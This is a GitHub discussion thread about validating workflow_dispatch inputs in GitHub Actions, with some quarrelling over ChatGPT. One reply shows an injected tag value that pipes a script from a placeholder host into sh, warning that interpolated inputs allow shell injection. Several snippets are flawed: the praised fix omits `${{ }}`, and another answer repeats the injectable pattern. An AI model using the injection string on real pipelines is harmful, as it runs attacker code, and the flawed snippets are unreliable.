What is the "correct" way to validate inputs for a manually triggered workflow

[jason-oc]

Select Topic Area

Question

Body

Please share with me and with the community how you handle input validation for manually triggered workflows so that we might (in lieu of any officially recommended solution) learn of a more elegant solution than what we currently employ in our own workflows. Thank you.

[jsoref]

ChatGPT is a 🐄💩 generator.

Please do yourself a favor and don't use it as a source of knowledge, it isn't.

The source of knowledge for workflows is the github docs for workflows.

As a favor, please allow me to provide a link to the actual documentation (you could use a normal search engine to find this, and I'd encourage you to practice learning how to do this):

https://docs.github.com/en/actions/using-workflows/triggering-a-workflow#defining-inputs-for-manually-triggered-workflows

The short answer is that you cannot ask github to do what you want declaratively at the input stage. You can use an if to control flow and cause the workflow to effectively only run a single step that fails, or you could use an if on two different jobs and have one job that runs a single thing that reports the input isn't valid and a different job that does real work.

Implementing any of this is left as an exercise for a human. Again, please don't ask ChatGPT to do your homework for you.

[jsoref]

That sounds like it was written by ChatGPT.

My criticism is not unfounded. Relying on things that don't exist and being surprised they don't work and then asking other people how to make it work is absolutely rude and is definitely the fault of relying on the "lies ChatGPT told me". This is a perfectly valid criticism.

You should not walk into a classroom and shoot a gun at a whiteboard just because someone on a farm said that they could use a gun to draw lines on the broad side of a barn.

[jason-oc]

I can see there is a need to reword my question.

[Anmol-Baranwal]

I can see there is a need to reword my question.

No need, feel free to express your thoughts. We are all here to learn and grow together.

[jason-oc]

No need, feel free to express your thoughts. We are all here to learn and grow together.

Not all of us, apparently.

[Chlorus]

As a favor, please allow me to provide a link to the actual documentation (you could use a normal search engine to find this, and I'd encourage you to practice learning how to do this):

Ironically, I did this, and the top hit was answered with an off-topic diatribe about ChatGPT. Thank you for reminding us as to why AI tools are in such demand (it spares us from being subjected to off-topic, condescending rants)

[jonmchan]

EDIT: PLEASE CONSIDER USING @aarcro solution to avoid remote shell script injection. Look at the thread for explanation of the potential risks to my original solution.

I'm sorry that you didn't get your question answered... it seems pretty legit question, irregardless with how you are trying to find the answer....

Here's what I've tried doing:

on:
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        description: 'Which environment to run this on'
        required: true
        default: 'development'
        options:
          - development
          - production
      tag:
        type: string
        description: 'Which tag to utilize'
        required: true
      
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Validation For Tag in Production
        if: ${{ github.event.inputs.environment == 'production' }}
        run: |
          echo "Validating that tag is a production deploy tag (must be in the format 20230101-1035)"
          echo "${{ github.event.inputs.tag }}" |grep -P '^[0-9]{8}-[0-9]{4}'

Any exit code in a script that is not exit 0 will terminate github action step and subsequently everything after this. Here's how I am validating my inputs.

[johnbatclari]

Fabulous answer, @jonmchan. Thank you for sharing!

And thanks to @jason-oc for asking the question. The "ye shall RTFM" drama was entirely counterproductive given the GitHub docs don't offer much in the way of how to perform fine(r)-grained validation of inputs.

[jordanst3wart]

Just be aware, I think i can input a tag as a string: " && curl https://some-malware-script.sh | sh && echo "20230101-1035"
And i'm running a malware script on your production environment. Github action strings don't escape.

So that would evaluate to: echo "" && curl https://some-malware-script.sh | sh && echo "20230101-1035" |grep -P '^[0-9]{8}-[0-9]{4}', and still pass that step

[aarcro]

Late to this party, but the solution is to pass the value through the environment:

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Validation For Tag in Production
        if: ${{ github.event.inputs.environment == 'production' }}
        env:
            TAG: github.event.inputs.tag
        run: |
          echo "Validating that tag is a production deploy tag (must be in the format 20230101-1035)"
          echo "${TAG}" |grep -P '^[0-9]{8}-[0-9]{4}'

Now the contents of $TAG are treated as a string at run time, rather then injected as a string replacement before running the script.

[jonmchan]

@aarcro Smart thinking - that eliminates the security risk of shell injection.

[aminuaminaldo]

There's no official recommendation for input validation yet, but common approaches include:

Conditional Statements:

Use if statements to check input values against expected formats or ranges.
If validation fails, the workflow fails, or you can have a dedicated "validation job" that fails the workflow.
Custom Script:

Write a script (e.g., bash, Python) to perform detailed validation logic.
Call the script as a step in your workflow and handle failures accordingly.
Elegant Solution Considerations:

Here's how to create a more user-friendly and robust validation approach:

Leverage Input Types:

Define input types (string, boolean, choice) in your workflow YAML.
GitHub Actions automatically validates these types during manual triggering, providing user feedback for invalid inputs.
Use the required keyword to ensure users provide mandatory inputs.
Detailed Validation Logic:

For complex validation, use the provided input value within your workflow steps.
Utilize bash commands, jq for JSON parsing, or libraries for advanced checks.
Fail the workflow with clear error messages indicating the specific validation failure.
Default Values and Suggestions:

Set default values for optional inputs to provide a smoother user experience.
Use the description property in your YAML to explain the expected format or purpose of each input.
Example with Input Types and Conditional Checks:

`name: My Workflow

on:
workflow_dispatch:
inputs:
environment:
type: choice
description: Select the deployment environment
required: true
options:
- staging
- production
version:
type: string
description: Specify the version to deploy (optional)

jobs:
validation:
runs-on: ubuntu-latest
steps:
- name: Check environment selection
run: if [[ ! "${{ github.event.inputs.environment }}" =~ ^(staging|production)$ ]]; then echo "Invalid environment. Choose 'staging' or 'production'"; exit 1; fi
- name: Check version format (if provided)
run: if [[ "${{ github.event.inputs.version }}" ]]; then echo "Version should follow X.Y.Z format"; fi # Add more complex validation with regex here

Rest of your workflow steps using validated inputs

`

[github-actions[bot]]

🕒 Discussion Activity Reminder 🕒

This Discussion has been labeled as dormant by an automated system for having no activity in the last 60 days. Please consider one the following actions:

1️⃣ Close as Out of Date: If the topic is no longer relevant, close the Discussion as out of date at the bottom of the page.

2️⃣ Provide More Information: Share additional details or context — or let the community know if you've found a solution on your own.

3️⃣ Mark a Reply as Answer: If your question has been answered by a reply, mark the most helpful reply as the solution.

Note: This dormant notification will only apply to Discussions with the Question label. To learn more, see our recent announcement.

Thank you for helping bring this Discussion to a resolution! 💬

[jcchavezs]

I am missing this feature too. Of course we validate input on the code itself but by the time we do, it might be too late (clone already happen, install of devs too and very likely build of a tool did)